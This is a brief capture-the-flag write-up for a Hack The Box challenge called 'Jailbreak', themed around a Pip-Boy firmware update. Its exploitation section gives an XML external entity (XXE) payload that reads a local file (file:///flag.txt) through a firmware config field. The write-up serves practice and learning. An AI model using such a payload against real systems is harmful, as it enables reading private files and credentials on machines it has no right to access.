https://app.hackthebox.com/challenges/728

Description

The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device.

Exploitation

<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///flag.txt">]>
<FirmwareUpdateConfig>
    <Firmware>
        <Version>1.33.7&example;</Version>

Summary

Jailbreak: identify the broken request handling, prove control, and use it to recover the flag.